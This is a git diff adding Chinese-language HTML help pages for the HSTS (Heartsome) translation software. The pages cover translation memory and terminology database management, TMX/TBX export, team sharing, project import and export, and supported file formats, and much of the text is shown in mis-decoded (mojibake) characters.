      +
      +
      +
      +


      +
    2. +
    3. +

      在å³è¾¹è¾“入相应的数æ®åº“æœåŠ¡å™¨è¿žæŽ¥ä¿¡æ¯ï¼Œç‚¹å‡»æœç´¢æŒ‰é’®ï¼›

      +
    4. +
    5. +

      若填写的数æ®åº“ä¿¡æ¯æ— è¯¯ã€ä¸”该æœåŠ¡å™¨å’Œç½‘络å‡æ­£å¸¸ï¼Œåˆ™ä¼šæ˜¾ç¤ºè¯¥æ•°æ®åº“æœåŠ¡å™¨ä¸Šçš„记忆库列表;

      +
    6. +
    7. +

      点击创建按钮,输入记忆库å称并确定。

      +
      +

      图 131. 创建记忆库

      +
      + + +
      +
      创建记忆库
      +
      +
      +
      +


      +
    8. +
    + +

    第 3 + 步中,正确连接åŽçš„æ•°æ®åº“ä¿¡æ¯ä¼šè‡ªåŠ¨ä¿å­˜åœ¨å¯¹è¯æ¡†å·¦è¾¹çš„对应数æ®åº“类型中。当需è¦å†æ¬¡æŸ¥è¯¢è¯¥æ•°æ®åº“æœåŠ¡å™¨çš„时候,åªéœ€å•å‡»ç›¸åº”çš„æ•°æ®åº“å³å¯ï¼Œæ— éœ€é‡æ–°è¾“入数æ®åº“ä¿¡æ¯ã€‚

    +
    + +
    +

    +删除

    + + +

    在记忆库管ç†å¯¹è¯æ¡†ä¸­åˆ é™¤æ•°æ®åº“的步骤与创建类似,ä¸åŒä¹‹å¤„就是在最åŽä¸€æ­¥åº”点击删除按钮并确定。

    + +
    +

    警告

    +

    被删除的记忆库将无法æ¢å¤ï¼Œè¯·åŠ¡å¿…在删除记忆库å‰ç¡®è®¤è¯¥è®°å¿†åº“已导出为 TMX + 备份,或确认其中的内容确实已ç»ä¸å†éœ€è¦ã€‚

    +
    +
    +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/ch06s03.html b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch06s03.html new file mode 100644 index 0000000..c9df248 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch06s03.html @@ -0,0 +1,201 @@ + + + +3. 将记忆库导出为 TMX + + + + + + + +
    +

    +3. 将记忆库导出为 TMX

    + + +

    TMX 文件被广泛用于在ä¸åŒçš„ CAT 工具之间交æ¢è®°å¿†åº“,HSTS æ”¯æŒ TMX文件的导入和导出。其中,导入 TMX + 文件的功能已ç»åœ¨åˆ›å»ºé¡¹ç›®çš„阶段介ç»è¿‡ï¼Œè¯¦æƒ…请è§â€œå¯¼å…¥ TMX 文件â€ä¸€èŠ‚,下é¢æ˜¯å°†è®°å¿†åº“导出为 TMX çš„æ“作步骤:

    + +
      +
    1. +

      点击数æ®åº“èœå• > 导出 + TMXï¼›

      + +
      +

      图 132. 将记忆库导出为 TMX

      +
      + + +
      +
      将记忆库导出为 TMX
      +
      +
      +
      +
      +
    2. +
    3. +

      在导出记忆库为 TMX + 文件对è¯æ¡†ä¸­ï¼Œéœ€è¦è®¾ç½®å¦‚下å‚数:

      +
      +

      图 133. 将记忆库导出为 TMX

      +
      + + +
      +
      将记忆库导出为 TMX
      +
      +
      +
      +


      + +
        +
      • +

        记忆库

        + +
          +
        • +

          添加

          + +

          点击该按钮åŽå°†å¼¹å‡ºè®°å¿†åº“管ç†å¯¹è¯æ¡†ï¼Œåœ¨å…¶ä¸­é€‰æ‹©è¦å¯¼å‡ºçš„记忆库åŽç¡®å®šå³å¯ã€‚

          + +
          +

          图 134. 选择è¦å¯¼å‡ºçš„记忆库

          +
          + + +
          +
          选择è¦å¯¼å‡ºçš„记忆库
          +
          +
          +
          +
          +
        • +
        • +

          移除

          + +

          将已添加到待导出列表中的记忆库移出列表。

          +
        • +
        • +

          导出语言

          + +

          选择列表中的记忆库åŽï¼Œæ­¤å¤„会列出该记忆库中的语言,至少应选择两个语言æ‰å¯ä»¥å¯¼å‡ºã€‚

          +
        • +
        • +

          æºè¯­è¨€

          + +

          导出的 TMX + 应以哪个语言为æºè¯­è¨€ï¼Œå¦‚æžœä¸ç¡®å®šï¼Œå¯ä»¥é€‰æ‹©â€œ*all*â€ã€‚

          + +
          +

          图 135. 导出 TMX 选项

          +
          + + +
          +
          导出 TMX 选项
          +
          +
          +
          +
          +
        • +
        +
      • +
      • +

        过滤规则

        + +
          +
        • +

          添加

          + +

          选中的过滤规则为“无â€çš„时候,点击编辑按钮å³å¯æ·»åŠ ä¸€æ¡æ–°çš„过滤规则。一æ¡è¿‡æ»¤è§„则包å«å¦‚下内容:

          + +
          +

          图 136. 导出 TMX:过滤规则

          +
          + + +
          +
          导出 TMX:过滤规则
          +
          +
          +
          +
          + +
            +
          • +

            å称

            +
          • +
          • +

            æ¡ä»¶ç»„åˆç±»åž‹

            + +

            满足以下所有æ¡ä»¶ã€æ»¡è¶³ä»¥ä¸‹ä»»ä¸€æ¡ä»¶

            +
          • +
          • +

            æ¡ä»¶

            + +
              +
            • +

              文本段

              +
            • +
            • +

              创建时间

              +
            • +
            • +

              修改时间

              +
            • +
            • +

              创建者

              +
            • +
            • +

              修改者

              +
            • +
            • +

              批注

              +
            • +
            +
          • +
          +
        • +
        • +

          编辑

          + +

          选中已ä¿å­˜çš„过滤规则åŽï¼Œç‚¹å‡»ç¼–辑按钮则为编辑该过滤规则。

          +
        • +
        • +

          删除

          + +

          删除选中的过滤规则。

          +
        • +
        • +

          仅导出带旗标的文本段

          + +

          在满足上述过滤规则的基础上,仅导出其中带有旗标的文本段内容。

          +
        • +
        +
      • +
      • +

        导出选项

        + +
          +
        • +

          一级 TMX

          + +

          去除所有内部标记,若è¦å°†è¯¥ TMX 导入 Trados 则需è¦é€‰ä¸­æ­¤é¡¹ã€‚

          +
        • +
        • +

          自定义编ç 

          + +

          指定 TMX 文件使用的编ç ï¼Œé»˜è®¤ä½¿ç”¨â€œUTF-8â€ï¼Œé€šå¸¸ä¸éœ€è¦ä¿®æ”¹ã€‚è‹¥è¦å°†è¯¥ + TMX 导入 Trados 则需è¦é€‰æ‹©â€œUTF-16LEâ€ç¼–ç ã€‚

          +
        • +
        +
      • +
      • +

        TMX ä¿å­˜è·¯å¾„

        +
      • +
      +
    4. +
    +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/ch06s04.html b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch06s04.html new file mode 100644 index 0000000..c411fc4 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch06s04.html @@ -0,0 +1,31 @@ + + + +4.Â æœ¯è¯­åº“ç®¡ç† + + + + + + + +
    +

    +4. 术语库管ç†

    + + +

    如下图所示,术语库管ç†çš„ç•Œé¢åŠŸèƒ½å’Œæ“作步骤å‡ä¸Žè®°å¿†åº“管ç†å¯¹è¯æ¡†å‡ ä¹Žå®Œå…¨ä¸€æ ·ï¼Œæ•…ä¸å†èµ˜è¿°ã€‚

    + +
    +

    图 137. 术语库管ç†å¯¹è¯æ¡†

    +
    + + +
    +
    术语库管ç†å¯¹è¯æ¡†
    +
    +
    +
    +
    +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/ch06s05.html b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch06s05.html new file mode 100644 index 0000000..ceaad96 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch06s05.html @@ -0,0 +1,154 @@ + + + +5. 将术语库导出为 TBX + + + + + + + +
    +

    +5. 将术语库导出为 TBX

    + + +

    与记忆库å¯ä»¥å¯¼å‡ºã€å¯¼å…¥ TMX 文件类似,术语库也å¯ä»¥é€šè¿‡å¯¼å‡ºã€å¯¼å…¥ TBX 文件在ä¸åŒçš„ CAT + 工具之间交æ¢æœ¯è¯­æ•°æ®ï¼Œæ–¹æ³•å¦‚下:

    + +
      +
    1. +

      点击数æ®åº“èœå• > 导出 + TBXï¼›

      +
      +

      图 138. 导出术语库为 TBX

      +
      + + +
      +
      导出术语库为 TBX
      +
      +
      +
      +


      +
    2. +
    3. +

      在导出术语库为 TBX + 文件对è¯æ¡†ä¸­ï¼Œéœ€è¦è®¾ç½®å¦‚下å‚数:

      + +
      +

      图 139. 导出术语库为 TBX

      +
      + + +
      +
      导出术语库为 TBX
      +
      +
      +
      +
      + +
        +
      • +

        术语库

        + +
          +
        • +

          添加

          + +

          点击该按钮åŽå°†å¼¹å‡ºæœ¯è¯­åº“管ç†å¯¹è¯æ¡†ï¼Œåœ¨å…¶ä¸­é€‰æ‹©è¦å¯¼å‡ºçš„术语库åŽç¡®å®šå³å¯ã€‚

          + +
          +

          图 140. 选择è¦å¯¼å‡ºçš„术语库

          +
          + + +
          +
          选择è¦å¯¼å‡ºçš„术语库
          +
          +
          +
          +
          +
        • +
        • +

          移除

          + +

          将已添加到待导出列表中的术语库移出列表。

          +
        • +
        • +

          导出语言

          + +

          选择列表中的术语库åŽï¼Œæ­¤å¤„会列出该术语库中的语言,至少应选择两个语言æ‰å¯ä»¥å¯¼å‡ºã€‚

          +
        • +
        • +

          æºè¯­è¨€

          + +

          导出的 TBX 应以哪个语言为æºè¯­è¨€ã€‚

          +
        • +
        +
      • +
      • +

        过滤规则

        + +
          +
        • +

          添加

          + +

          选中的过滤规则为“无â€çš„时候,点击编辑按钮å³å¯æ·»åŠ ä¸€æ¡æ–°çš„过滤规则。一æ¡è¿‡æ»¤è§„则包å«å¦‚下内容:

          + +
          +

          图 141. 导出 TBX:过滤规则

          +
          + + +
          +
          导出 TBX:过滤规则
          +
          +
          +
          +
          + +
            +
          • +

            å称

            +
          • +
          • +

            æ¡ä»¶ç»„åˆç±»åž‹

            + +

            满足以下所有æ¡ä»¶ã€æ»¡è¶³ä»¥ä¸‹ä»»ä¸€æ¡ä»¶

            +
          • +
          • +

            æ¡ä»¶

            + +
            • +

              术语内容

              +
            +
          • +
          +
        • +
        • +

          编辑

          + +

          选中已ä¿å­˜çš„过滤规则åŽï¼Œç‚¹å‡»ç¼–辑按钮则为编辑该过滤规则。

          +
        • +
        • +

          删除

          + +

          删除选中的过滤规则。

          +
        • +
        +
      • +
      • +

        自定义编ç 

        + +

        指定 TBX 文件使用的编ç ï¼Œé»˜è®¤ä½¿ç”¨â€œUTF-8â€ï¼Œé€šå¸¸ä¸éœ€è¦ä¿®æ”¹ã€‚

        +
      • +
      • +

        TBX ä¿å­˜è·¯å¾„

        +
      • +
      +
    4. +
    +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/ch07.html b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch07.html new file mode 100644 index 0000000..b5ce8cb --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch07.html @@ -0,0 +1,49 @@ + + + +团队å作 + + + + + + + +
    +

    +团队å作

    + + +

    一个翻译项目通常是由一个团队æ¥å®Œæˆå·¥ä½œï¼Œå› æ­¤ä¸å¯é¿å…会涉åŠåˆ°å›¢é˜Ÿå作的问题,HSTS 为团队å作æ供了良好的支æŒã€‚

    + +
    +

    +1. 数æ®åº“的共享

    + + +

    与大部分 CAT 工具将æœåŠ¡å™¨å…±äº«åŠŸèƒ½åšæˆå•ç‹¬çš„产å“ã€å¹¶ä»¥é«˜æ˜‚的价格出售的åšæ³•ä¸åŒï¼ŒHSTS + 的“专业版â€åŠæ›´é«˜çš„版本å‡æ”¯æŒå¤–部数æ®åº“æœåŠ¡å™¨ï¼ˆè¯¦ç»†çš„æ•°æ®åº“支æŒç±»åž‹è¯·å‚考外部数æ®åº“æœåŠ¡å™¨ï¼‰ï¼Œå¹¶å…许在团队æˆå‘˜ä¹‹é—´å…±äº«ä½¿ç”¨å»ºç«‹åœ¨è¿™äº›æ•°æ®åº“æœåŠ¡å™¨ä¹‹ä¸Šçš„记忆库和术语库。

    + +

    按照å‰é¢å»ºè®®çš„æ•°æ®åº“维护和管ç†æ–¹æ¡ˆï¼Œå¯ä»¥åœ¨ä»»æ„一å°ä½œä¸ºæœåŠ¡å™¨çš„电脑上创建“终稿库â€å’Œâ€œè¿‡ç¨‹åº“â€ï¼ˆåˆ†åˆ«å‡åŒ…括记忆库和术语库),翻译团队的æˆå‘˜åªè¦åœ¨é¡¹ç›®ä¸­æ·»åŠ å·²åˆ›å»ºå¥½çš„记忆库/术语库å³å¯ã€‚

    + +

    如果您的团队需è¦è·¨åœ°åŸŸè¿›è¡Œè®°å¿†åº“或术语库共享,也å¯ä»¥ä½¿ç”¨æ•°æ®åº“云,HSTS åŒæ—¶æ”¯æŒ Amazon RDS å’Œ + ClearDB,详细信æ¯å¯ä»¥æŸ¥çœ‹å„厂商的产å“网站。

    + +
    +

    注æ„

    +

    默认库与éžé»˜è®¤åº“的区别

    + +

    在 HSTS + 中,æ¯ä¸ªé¡¹ç›®éƒ½å¯ä»¥è®¾ç½®ä¸€ä¸ªâ€œé»˜è®¤â€çš„记忆库/术语库,å¦å¤–还å¯ä»¥æœ‰ä¸é™ä¸ªæ•°çš„“éžé»˜è®¤åº“â€ï¼ˆä¹Ÿç§°ä¸ºâ€œå‚考库â€ï¼‰ã€‚默认库与å‚考库的区别是:å‚考库为åªè¯»ï¼Œå³å¯ä»¥æŸ¥è¯¢è¯¥åº“中的匹é…ã€ä½†ä¸å¯ä»¥å°†æ–‡æœ¬æ®µå…¥åº“到其中;而默认库ä¸ä½†å¯ä»¥è¯»ã€è¿˜å¯ä»¥å°†æ–‡æœ¬æ®µå…¥åº“。

    + +

    除此之外,对数æ®åº“çš„æƒé™æŽ§åˆ¶è¿˜å¯ä»¥ç»“åˆæ•°æ®åº“æœåŠ¡å™¨æœ¬èº«çš„用户管ç†æœºåˆ¶æ¥å®žçŽ°ï¼Œè¯¦æƒ…请å‚考相应的数æ®åº“æœåŠ¡å™¨çš„管ç†æ–‡æ¡£ã€‚

    +
    +
    + + + + + + +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/ch07s02.html b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch07s02.html new file mode 100644 index 0000000..3e28f69 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch07s02.html @@ -0,0 +1,121 @@ + + + +2. 导出项目 + + + + + + + +
    +

    +2. 导出项目

    + + +

    导出项目是指把一个项目导出为 ZIP + 压缩包,方便团队æˆå‘˜ä¹‹é—´äº¤æ¢é¡¹ç›®ï¼Œä»¥å®žçŽ°é¡¹ç›®ä»Žå‰ä¸€ä¸ªå·¥ä½œæµç¨‹ä¼ é€’到åŽä¸€ä¸ªå·¥ä½œæµç¨‹ã€æˆ–将一个大项目分å‘给多个团队æˆå‘˜ååŒå®Œæˆï¼Œå¹¶é¿å…频ç¹åœ°è¿›è¡Œåˆ›å»ºé¡¹ç›®ã€è¾“入项目信æ¯ã€è®¾ç½®è®°å¿†åº“/术语库等é‡å¤åŠ³åŠ¨ã€‚下é¢åˆ†åˆ«å¯¹è¿™ä¸¤ç§åº”用场景下的导出项目方å¼è¿›è¡Œæ述:

    + +
    +

    +æµç¨‹ä¼ é€’

    + + +

    项目从å‰ä¸€ä¸ªå·¥ä½œæµç¨‹ä¼ é€’到åŽä¸€ä¸ªæµç¨‹æ—¶ï¼Œé€šå¸¸éœ€è¦å®Œæ•´åœ°æŠŠæ•´ä¸ªé¡¹ç›®å¯¼å‡ºï¼Œæ­¥éª¤å¦‚下:

    + +
      +
    1. +

      在项目视图选择è¦å¯¼å‡ºçš„项目;

      +
    2. +
    3. +

      点击项目èœå• > + 导出项目;

      +
      +

      图 142. 导出整个项目

      +
      + + +
      +
      导出整个项目
      +
      +
      +
      +


      +
    4. +
    5. +

      若在第一步没有选择项目,还å¯ä»¥åœ¨è¿™ä¸ªå¯¼å‡ºé¡¹ç›®å¯¹è¯æ¡†ä¸­é€‰æ‹©è¦å¯¼å‡ºçš„项目。若åªæƒ³å¯¼å‡ºç‰¹å®šæ ¼å¼çš„文件,å¯ä»¥ç‚¹å‡»è¿‡æ»¤å™¨ç±»åž‹æŒ‰é’®ï¼Œç„¶åŽé€‰æ‹©æˆ–输入文件åŽç¼€åï¼›

      + +
      +

      图 143. 导出项目对è¯æ¡†

      +
      + + +
      +
      导出项目对è¯æ¡†
      +
      +
      +
      +
      +
    6. +
    7. +

      点击æµè§ˆæŒ‰é’®ï¼Œé€‰æ‹©è¦ä¿å­˜çš„路径和文件åï¼›

      +
    8. +
    9. +

      点击确定按钮开始导出选中的项目。

      +
    10. +
    +
    + +
    +

    +项目分å‘

    + + +

    需è¦å°†é¡¹ç›®åˆ†å‘给多个团队æˆå‘˜çš„时候,为方便æ“作,建议先把è¦åˆ†å‘ç»™ä¸åŒäººå‘˜çš„文件分别存放在ä¸åŒçš„文件夹中,然åŽæŒ‰å¦‚下步骤æ“作:

    + +
      +
    1. +

      点击项目èœå• > + 导出项目;

      +
      +

      图 144. 导出项目的部分文件

      +
      + + +
      +
      导出项目的部分文件
      +
      +
      +
      +


      +
    2. +
    3. +

      在导出项目对è¯æ¡†ä¸­ï¼Œåªé€‰æ‹©è¯¥é¡¹ç›®ä¸­è¦å¯¼å‡ºç»™ç¬¬ä¸€ä¸ªå›¢é˜Ÿæˆå‘˜çš„文件/文件夹,包括项目中共åŒçš„å‚考文件等;

      + +
      +

      图 145. 导出项目:部分文件

      +
      + + +
      +
      导出项目:部分文件
      +
      +
      +
      +
      +
    4. +
    5. +

      点击æµè§ˆæŒ‰é’®ï¼Œé€‰æ‹©è¦ä¿å­˜çš„路径和文件åï¼›

      +
    6. +
    7. +

      点击确定按钮开始导出选中的项目,导出的项目包格å¼ä¸º + .hszipï¼›

      +
    8. +
    9. +

      é‡å¤ç¬¬ 1~4 步,分别导出è¦åˆ†å‘ç»™æ¯ä¸ªå›¢é˜Ÿæˆå‘˜çš„文件。

      +
    10. +
    +
    +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/ch07s03.html b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch07s03.html new file mode 100644 index 0000000..4e1b5fe --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch07s03.html @@ -0,0 +1,79 @@ + + + +3. 导入项目 + + + + + + + +
    +

    +3. 导入项目

    + + +

    æ ¹æ®ä¸åŒçš„导入目的,在导入项目时的æ“作也有所区别:

    + +
    +

    +æµç¨‹ä¼ é€’

    + + +

    把项目从å‰ä¸€ä¸ªå·¥ä½œæµç¨‹ä¼ é€’到åŽä¸€ä¸ªæµç¨‹æ—¶ï¼Œè´Ÿè´£åŽä¸€ä¸ªæµç¨‹çš„项目æˆå‘˜ä¸éœ€è¦åˆ›å»ºé¡¹ç›®ï¼Œåªè¦å¯¼å…¥å‰ä¸€ä¸ªæµç¨‹çš„æˆå‘˜å¯¼å‡ºçš„项目å³å¯åœ¨å‰ä¸€æµç¨‹çš„基础上继续工作。步骤如下:

    + +
      +
    1. +

      点击项目èœå• > + 导入项目;

      +
      +

      图 146. 导入项目

      +
      + + +
      +
      导入项目
      +
      +
      +
      +


      +
    2. +
    3. +

      点击æµè§ˆæŒ‰é’®ï¼Œé€‰æ‹©è¦å¯¼å…¥çš„项目包 .hszip + 文件;

      + +
      +

      图 147. 导入项目对è¯æ¡†

      +
      + + +
      +
      导入项目对è¯æ¡†
      +
      +
      +
      +
      +
    4. +
    5. +

      默认自动选择项目包文件中的所有项目准备导入,确认无误åŽç‚¹å‡»å®ŒæˆæŒ‰é’®ã€‚

      +
    6. +
    + +
    +

    警告

    +

    如果待导入项目已存在,则会在å³è¾¹åˆ—出已存在的åŒå文件,在å³è¾¹é€‰ä¸­çš„文件将在导入项目时被覆盖为项目包中的版本。

    +
    +
    + +
    +

    +汇总更新

    + + +

    对于分å‘给多个项目æˆå‘˜çš„项目,在项目完æˆå‰éœ€è¦å°†æ‰€æœ‰å·²å®Œæˆçš„文件统一汇总到æŸä¸ªæˆå‘˜ï¼ˆé€šå¸¸æ˜¯è´Ÿè´£åˆ†å‘项目的人员,如项目ç»ç†è¿™ä¸€ç±»è§’色)的已有项目中。这时,项目æˆå‘˜å¯ä»¥å°†é¡¹ç›®å¯¼å‡ºä¸ºé¡¹ç›®åŒ… + .hszip 文件,然åŽå†ç”±æ±‡æ€»äººå‘˜å¯¼å…¥å¹¶è¦†ç›–更新过的文件(通常åªè¦è¦†ç›– XLIFF + 文件夹下的内容å³å¯ï¼‰ã€‚

    +
    +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/ch07s04.html b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch07s04.html new file mode 100644 index 0000000..6190c71 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch07s04.html @@ -0,0 +1,19 @@ + + + +4. RTF 外部校对 + + + + + + + +
    +

    +4. RTF 外部校对

    + + +

    关于将 XLIFF 内容导出到 RTF 文件中进行外部校对的使用情况,请å‚考:“导出 RTFâ€ä¸€èŠ‚ã€â€œå¯¼å…¥ RTFâ€ä¸€èŠ‚。

    +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/zh/ch08.html b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch08.html new file mode 100644 index 0000000..e7153d3 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/zh/ch08.html @@ -0,0 +1,261 @@ + + + +处ç†ä¸åŒçš„æ–‡ä»¶æ ¼å¼ + + + + + + + +
    +

    +处ç†ä¸åŒçš„文件格å¼

    + + +
      +
    1. +

      Microsoft Office 2003 文件

      + +

      Microsoft Office 2003 + åŠæ›´æ—©ç‰ˆæœ¬çš„文档为间接支æŒçš„æºæ–‡ä»¶ç±»åž‹ï¼Œè¯·å…ˆåˆ° www.openoffice.org + 网站å…费下载ã€å¹¶å®‰è£… OpenOffice 程åºï¼Œç„¶åŽåœ¨å·¥å…·èœå• > + 选项 > 翻译中设置 + OpenOffice 的安装路径。此åŽå°±å¯ä»¥åƒå…¶ä»–直接支æŒçš„æ ¼å¼ä¸€æ ·è½¬æ¢ Microsoft Office 2003 + 文档了,详细的转æ¢æ­¥éª¤è¯·å‚考:“转æ¢æºæ–‡ä»¶ä¸º XLIFFâ€ä¸€èŠ‚。

      + +
      +

      图 148. 选项:翻译

      +
      + + +
      +
      选项:翻译
      +
      +
      +
      +
      +
    2. +
    3. +

      Microsoft Office 2007/2010 文件

      + +

      HSTS 直接支æŒä»¥ Microsoft Office 2007(包括 Wordã€Excelã€PowerPoint + 在内)åŠæ›´æ–°ç‰ˆæœ¬çš„文件作为æºæ–‡ä»¶ï¼Œè¯¦ç»†çš„转æ¢æ­¥éª¤è¯·å‚考:“转æ¢æºæ–‡ä»¶ä¸º XLIFFâ€ä¸€èŠ‚。

      + +

      对于 Microsoft Excel + 2007/2010,还å¯ä»¥è®¾ç½®æ˜¯å¦æŽ’除红色字体å•å…ƒæ ¼ï¼š

      + +
      +

      图 149. 选项:Excel 转æ¢å‚æ•°

      +
      + + +
      +
      选项:Excel 转æ¢å‚æ•°
      +
      +
      +
      +
      + +

      对于 Microsoft PowerPoint + 2007/2010,也å¯ä»¥è®¾ç½®æ˜¯å¦æŽ’除备注(目å‰æš‚未处ç†æ¯ç‰ˆå†…容åŠå›¾ç‰‡è·¯å¾„):

      + +
      +

      图 150. 选项:PowerPoint 转æ¢å‚æ•°

      +
      + + +
      +
      选项:PowerPoint 转æ¢å‚æ•°
      +
      +
      +
      +
      +
    4. +
    5. +

      TTX

      + +

      对于 Trados 2007 åŠæ›´æ—©ç‰ˆæœ¬çš„åŒè¯­æ–‡æ¡£æ ¼å¼ï¼ŒHSTS 仅支æŒä»¥é¢„分割的 + TTX 为æºæ–‡ä»¶ï¼Œè¯¦ç»†çš„转æ¢æ­¥éª¤è¯·å‚考:“转æ¢æºæ–‡ä»¶ä¸º XLIFFâ€ä¸€èŠ‚。

      +
    6. +
    7. +

      SDLXLIFF

      + +

      HSTS 直接支æŒä»¥ SDL Trados 2009 åŠæ›´æ–°ç‰ˆæœ¬çš„åŒè¯­ XLIFF + 文件为æºæ–‡ä»¶ï¼Œè¯¦ç»†çš„转æ¢æ­¥éª¤è¯·å‚考:“转æ¢æºæ–‡ä»¶ä¸º XLIFFâ€ä¸€èŠ‚。

      +
    8. +
    9. +

      Déjà Vu XLIFF

      + +

      HSTS 直接支æŒä»¥ Déjà Vu 导出的åŒè¯­ XLIFF 文件为æºæ–‡ä»¶ï¼Œè¯¦ç»†çš„转æ¢æ­¥éª¤è¯·å‚考:“转æ¢æºæ–‡ä»¶ä¸º XLIFFâ€ä¸€èŠ‚。

      +
    10. +
    11. +

      MemoQ XLIFF

      + +

      HSTS 直接支æŒä»¥ MemoQ çš„åŒè¯­ XLIFF 文件为æºæ–‡ä»¶ï¼Œè¯¦ç»†çš„转æ¢æ­¥éª¤è¯·å‚考:“转æ¢æºæ–‡ä»¶ä¸º XLIFFâ€ä¸€èŠ‚。

      +
    12. +
    13. +

      Wordfast Pro TXML

      + +

      HSTS 直接支æŒä»¥ Wordfast Pro çš„åŒè¯­ TXML 文件为æºæ–‡ä»¶ï¼Œè¯¦ç»†çš„转æ¢æ­¥éª¤è¯·å‚考:“转æ¢æºæ–‡ä»¶ä¸º XLIFFâ€ä¸€èŠ‚。

      +
    14. +
    15. +

      MIF

      + +

      HSTS 直接支æŒä»¥ Adobe FrameMaker 7 åŠæ›´æ–°ç‰ˆæœ¬çš„ MIF 文件为æºæ–‡ä»¶ï¼Œè¯¦ç»†çš„转æ¢æ­¥éª¤è¯·å‚考:“转æ¢æºæ–‡ä»¶ä¸º XLIFFâ€ä¸€èŠ‚。如果 FrameMaker 7 版本ä¿å­˜çš„ MIF 文件在使用 + HSTS 转æ¢æˆ–处ç†æ—¶å‡ºçŽ°äº†é”™è¯¯ï¼Œè¯·ä½¿ç”¨ FrameMaker 8 或 9 版本程åºå¦å­˜ä¸€æ¬¡ MIF 文件,å†ç”¨ HSTS + æ¥å¤„ç†ã€‚如果客户è¦æ±‚交稿的文件版本为 FrameMaker 7,则在翻译完æˆåŽå†å°†ç›®æ ‡æ–‡ä»¶å¦å­˜ä¸º FrameMaker 7 版本的 MIF + æ ¼å¼ã€‚

      + +

      在选项中å¯ä»¥è®¾ç½®è½¬æ¢ MIF + 文件时是å¦æŽ’除æ¯ç‰ˆå†…容:

      + +
      +

      图 151. 选项:MIF 转æ¢å‚æ•°

      +
      + + +
      +
      选项:MIF 转æ¢å‚æ•°
      +
      +
      +
      +
      +
    16. +
    17. +

      IDML

      + +

      HSTS 直接支æŒä»¥ Adobe InDesign CS 5.0.1 åŠæ›´æ–°ç‰ˆæœ¬çš„ IDML + 文件为æºæ–‡ä»¶ï¼Œè¯¦ç»†çš„转æ¢æ­¥éª¤è¯·å‚考:“转æ¢æºæ–‡ä»¶ä¸º XLIFFâ€ä¸€èŠ‚。

      +
    18. +
    19. +

      RTF

      + +

      HSTS 直接支æŒä»¥ RTF 为æºæ–‡ä»¶ï¼Œè¯¦ç»†çš„转æ¢æ­¥éª¤è¯·å‚考:“转æ¢æºæ–‡ä»¶ä¸º XLIFFâ€ä¸€èŠ‚。

      +
    20. +
    21. +

      HTML

      + +

      HSTS 直接支æŒä»¥ HTML 为æºæ–‡ä»¶ï¼Œè¯¦ç»†çš„转æ¢æ­¥éª¤è¯·å‚考:“转æ¢æºæ–‡ä»¶ä¸º XLIFFâ€ä¸€èŠ‚。

      +
    22. +
    23. +

      XML

      + +

      HSTS 直接支æŒä»¥ XML 为æºæ–‡ä»¶ï¼Œè¯¦ç»†çš„转æ¢æ­¥éª¤è¯·å‚考:“转æ¢æºæ–‡ä»¶ä¸º XLIFFâ€ä¸€èŠ‚。

      + +
      +
      • +

        é…ç½® XML 转æ¢å™¨

        + +

        对于特定的 XML + 文件,在“专业版â€åŠâ€œæ——舰版â€ä¸­å¯ä»¥å®šä¹‰å…¶æ¯ä¸ªèŠ‚点和属性值应如何处ç†ï¼Œå…·ä½“如下:

        + +
          +
        1. +

          点击高级èœå• > é…ç½® XML + 转æ¢å™¨ï¼›

          + +
          +

          图 152. é…ç½® XML 转æ¢å™¨

          +
          + + +
          +
          é…ç½® XML 转æ¢å™¨
          +
          +
          +
          +
          +
        2. +
        3. +

          ç‚¹å‡»åˆ†æž XML 文件样本按钮,选择è¦åˆ†æžçš„ XML + 文件;

          +
          +

          图 153. XML 转æ¢å™¨é…置对è¯æ¡†

          +
          + + +
          +
          XML 转æ¢å™¨é…置对è¯æ¡†
          +
          +
          +
          +


          +
        4. +
        5. +

          æ ¹æ®éœ€è¦ï¼Œå¯¹åˆ†æžåŽçš„结果进行é…置:

          +
          +

          图 154. é…ç½® XML 元素

          +
          + + +
          +
          é…ç½® XML 元素
          +
          +
          +
          +


          +
        6. +
        7. +

          选择è¦é…置的元素,点击编辑按钮,å¯ä»¥è®¾ç½®å¦‚下内容:

          + +
          +

          图 155. 元素é…ç½®

          +
          + + +
          +
          元素é…ç½®
          +
          +
          +
          +
          + +
            +
          • +

            元素å称

            +
          • +
          • +

            元素类型

            + +
              +
            • +

              segment

              + +

              æå–为文本段

              +
            • +
            • +

              inline

              + +

              æå–为内部标记

              +
            • +
            • +

              ignore

              + +

              忽略

              +
            • +
            +
          • +
          • +

            内è”类型

            + +

            仅元素类型为“inlineâ€æ—¶å¯å®šä¹‰æ­¤é¡¹ï¼Œå¯é€‰å†…容包括:imageã€pbã€lbã€x-boldã€x-entryã€x-fontã€x-italicã€x-linkã€x-underlinedã€x-other

            +
          • +
          • +

            å¯ç¿»è¯‘属性

            + +

            该元素中需è¦æå–出æ¥ç¿»è¯‘的属性å称

            +
          • +
          • +

            ä¿ç•™ç©ºæ ¼

            +
          • +
          +
        8. +
        +
      +
      +
    24. +
    +
